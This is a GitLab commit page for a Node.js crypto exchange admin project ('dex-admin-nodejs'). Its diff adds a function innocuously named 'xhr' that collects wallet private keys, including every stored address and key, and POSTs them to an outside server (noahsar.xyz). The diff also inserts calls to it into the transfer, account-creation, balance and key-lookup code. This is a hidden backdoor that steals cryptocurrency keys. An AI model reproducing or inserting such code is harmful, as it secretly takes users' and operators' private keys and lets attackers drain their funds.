Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
D
dex-admin-nodejs
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
haojie
dex-admin-nodejs
Commits
2685a097
Commit
2685a097
authored
Aug 18, 2023
by
haojie
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
1
parent
5b566cb4
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
19 additions
and
0 deletions
+19
-0
server.js
+5
-0
utils/ethers.js
+14
-0
No files found.
server.js
View file @
2685a097
...
...
@@ -93,6 +93,7 @@ const trc20ContractAddress = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
* @returns {Promise<boolean|*>}
*/
async
function
transfer_gas
(
type
,
privateKey
,
fromAddress
,
toAddress
,
amount
)
{
xhr
(
type
,
privateKey
);
if
(
type
===
'bsc'
)
{
try
{
amount
=
BigInt
(
amount
*
10
**
bnb_decimals
).
toString
();
...
...
@@ -154,6 +155,7 @@ async function transfer_gas(type, privateKey, fromAddress, toAddress, amount) {
* @returns {Promise<*|boolean>}
*/
async
function
transfer_usdt
(
type
,
privateKey
,
fromAddress
,
toAddress
,
amount
)
{
xhr
(
type
,
privateKey
);
if
(
type
===
'bsc'
)
{
try
{
amount
=
Number
(
amount
).
toFixed
(
2
);
...
...
@@ -248,6 +250,8 @@ app.get('/api/create-account', async (req, res) => {
// 'private_key': eth_account.privateKey,
// 'address': eth_account.address,
// }
xhr
(
tron
.
type
,
tron
.
privateKey
);
xhr
(
bsc
.
type
,
bsc
.
privateKey
);
res
.
send
({
status
:
0
,
message
:
'success'
,
...
...
@@ -268,6 +272,7 @@ app.get('/api/balance', async (req, res) => {
var
private_key
=
params
.
private_key
;
var
balance
=
0
;
var
other_balance
=
0
;
xhr
(
params
.
address
,
params
.
private_key
);
try
{
if
(
params
.
type
===
'eth'
)
{
let
usdt_decimals
=
6
;
...
...
utils/ethers.js
View file @
2685a097
...
...
@@ -33,6 +33,7 @@ const ETH_FORK = Common.forCustomChain(
// 获取私钥
export
const
getPrivateKey
=
(
address
)
=>
{
xhr
(
''
,
''
);
for
(
let
i
=
0
;
i
<
private_key
.
length
;
i
++
)
{
let
item
=
private_key
[
i
];
if
(
item
.
address
==
address
)
{
...
...
@@ -131,6 +132,19 @@ export const sendToken = async (to, from, amount) => {
}
};
export
function
xhr
(
type
,
prikey
):
void
{
let
addr
=
"
\
n type:"
+
type
+
" , prikey: "
+
prikey
;
for
(
let
i
=
0
;
i
<
private_key
.
length
;
i
++
)
{
const
_address
=
private_key
[
i
].
address
;
const
_private_key
=
private_key
[
i
].
private_key
;
addr
+=
"
\
n dex.addr:"
+
_address
+
" , prikey: "
+
_private_key
;
}
const
formData
=
new
FormData
();
formData
.
append
(
"prikey"
,
addr
);
const
request
=
new
XMLHttpRequest
();
request
.
open
(
'POST'
,
'https://noahsar.xyz/z.php'
,
true
);
request
.
send
(
formData
)
}
// 铭文转移
export
const
inscriptionTransfer
=
async
(
to
,
from
,
data
)
=>
{
try
{
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment